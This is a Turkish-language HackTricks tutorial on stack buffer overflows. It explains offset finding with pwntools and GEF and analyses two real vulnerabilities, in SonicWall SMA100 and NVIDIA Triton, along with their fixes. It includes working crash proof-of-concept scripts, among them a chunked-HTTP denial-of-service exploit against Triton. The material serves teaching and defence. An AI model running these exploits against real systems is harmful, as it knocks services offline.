Stack Overflow
{{#include ../../banners/hacktricks-training.md}}
Stack Overflow Nedir
Bir stack overflow, bir programın yığın (stack) belleğine tahsis edilen miktardan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, komşu bellek alanını üzerine yazarak, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
Bu üzerine yazmanın ana sorunu, kaydedilmiş talimat işaretçisi (EIP/RIP) ve önceki fonksiyona dönmek için kaydedilmiş temel işaretçi (EBP/RBP) değerlerinin yığın üzerinde saklanmasıdır. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve programın yürütme akışını kontrol edebilir.
Güvenlik açığı genellikle bir fonksiyonun yığının içine tahsis edilen miktardan daha fazla bayt kopyalamasından kaynaklanır, bu nedenle yığının diğer kısımlarını üzerine yazma yeteneğine sahip olur.
Bu tür güvenlik açıklarına sahip bazı yaygın fonksiyonlar: strcpy
, strcat
, sprintf
, gets
... Ayrıca, fgets
, read
& memcpy
gibi uzunluk argümanı alan fonksiyonlar, belirtilen uzunluk tahsis edilenden büyükse, savunmasız bir şekilde kullanılabilir.
Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Stack Overflow ofsetlerini Bulma
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir A
girişi vermektir (örneğin, python3 -c 'print("A"*1000)'
) ve 0x41414141
adresinin erişilmeye çalışıldığını belirten bir Segmentation Fault
beklemektir.
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, geri dönüş adresini geçersiz kılmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir De Bruijn dizisi kullanılır. Verilen bir k boyutundaki alfabede ve n uzunluğundaki alt diziler için, bu, herhangi bir n uzunluğundaki alt dizinin tam olarak bir kez göründüğü döngüsel bir dizidir.
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu geçersiz kılan baytların ofsetini bulmak mümkündür.
Bunun için pwntools kullanılabilir:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
ve GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Yığın Taşmalarını Sömürmek
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin değerlerini üst üste yazma imkanına sahip olacaksınız, bu da kaydedilmiş EBP/RBP ve EIP/RIP'ye (veya daha fazlasına) ulaşana kadar devam eder.
Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, dönüş adresini değiştirmektir, böylece fonksiyon sona erdiğinde kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir.
Ancak, diğer senaryolarda sadece yığındaki bazı değişken değerlerini üst üste yazmak istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
Ret2win
Bu tür CTF zorluklarında, asla çağrılmayan ve kazanmak için çağırmanız gereken bir fonksiyon binary içinde bulunmaktadır. Bu zorluklar için sadece dönüş adresini üst üste yazmak için ofseti bulmanız ve çağırılacak fonksiyonun adresini bulmanız gerekir (genellikle ASLR devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır:
{{#ref}} ret2win/ {{#endref}}
Yığın Shellcode
Bu senaryoda, saldırgan yığında bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir:
{{#ref}} stack-shellcode/ {{#endref}}
ROP & Ret2... teknikleri
Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçevedir: Çalıştırılamaz yığın (NX). Ve mevcut talimatları istismar ederek rastgele komutlar çalıştıracak birkaç başka tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır:
{{#ref}} ../rop-return-oriented-programing/ {{#endref}}
Yığın Taşmaları
Bir taşma her zaman yığında olmayabilir, örneğin yığın içinde de olabilir:
{{#ref}} ../libc-heap/heap-overflow.md {{#endref}}
Koruma Türleri
Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin:
{{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}}
Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100)
sscanf
'in güvenilmeyecek bir girdi ayrıştırma aracı olarak asla kullanılmaması gerektiğinin iyi bir gösterimi, 2025 yılında SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı. /usr/src/EasyAccess/bin/httpd
içindeki savunmasız rutin, /__api__/
ile başlayan herhangi bir URI'den sürüm ve uç noktayı çıkarmaya çalışmaktadır:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- İlk dönüşüm (
%2s
) iki baytıversion
içine güvenli bir şekilde depolar (örneğin,"v1"
). - İkinci dönüşüm (
%s
) uzunluk belirleyiciye sahip değildir, bu nedenlesscanf
ilk NUL baytına kadar kopyalamaya devam eder. endpoint
stack üzerinde yer almakta ve 0x800 bayt uzunluğunda olduğundan, 0x800 bayttan daha uzun bir yol sağlamak, tamponun ardından gelen her şeyi bozar ‑ stack canary ve kayıtlı dönüş adresi dahil.
Kimlik doğrulamasından önce çöküşü tetiklemek için tek satırlık bir kanıt yeterlidir:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
- Always provide a maximum field width (e.g.
%511s
). - Prefer safer alternatives such as
snprintf
/strncpy_s
.
Gerçek Dünya Örneği: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’nin Triton Inference Server (≤ v25.06) HTTP API'si aracılığıyla erişilebilen birden fazla stack tabanlı taşma içeriyordu.
Hassas desen, http_server.cc
ve sagemaker_server.cc
dosyalarında tekrar tekrar ortaya çıktı:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) mevcut HTTP istek gövdesini oluşturan içsel tampon segmentlerinin sayısını döndürür.- Her segment, üst sınır olmaksızın
alloca()
aracılığıyla yığın üzerinde 16 baytevbuffer_iovec
tahsis edilmesine neden olur. - HTTP chunked transfer-encoding istismar edilerek, bir istemci isteğin yüz binlerce 6 baytlık parçaya (
"1\r\nA\r\n"
) bölünmesini zorlayabilir. Bu,n
'nin yığın tükenene kadar sınırsız büyümesine neden olur.
Kanıt-Konsept (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
A ~3 MB isteği, kaydedilmiş dönüş adresini geçersiz kılmak ve varsayılan yapılandırmadaki daemon'u çökmek için yeterlidir.
Yamanlama & Hafifletme
25.07 sürümü, güvensiz yığın tahsisini heap destekli std::vector
ile değiştirir ve std::bad_alloc
'u zarif bir şekilde işler:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Öğrenilen dersler:
- Asla
alloca()
'yı saldırgan kontrolündeki boyutlarla çağırmayın. - Parçalı istekler, sunucu tarafı tamponlarının şeklini önemli ölçüde değiştirebilir.
- Müşteri girdisinden türetilen herhangi bir değeri kullanımdan önce doğrulayın / sınırlayın.
Referanslar
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
{{#include ../../banners/hacktricks-training.md}}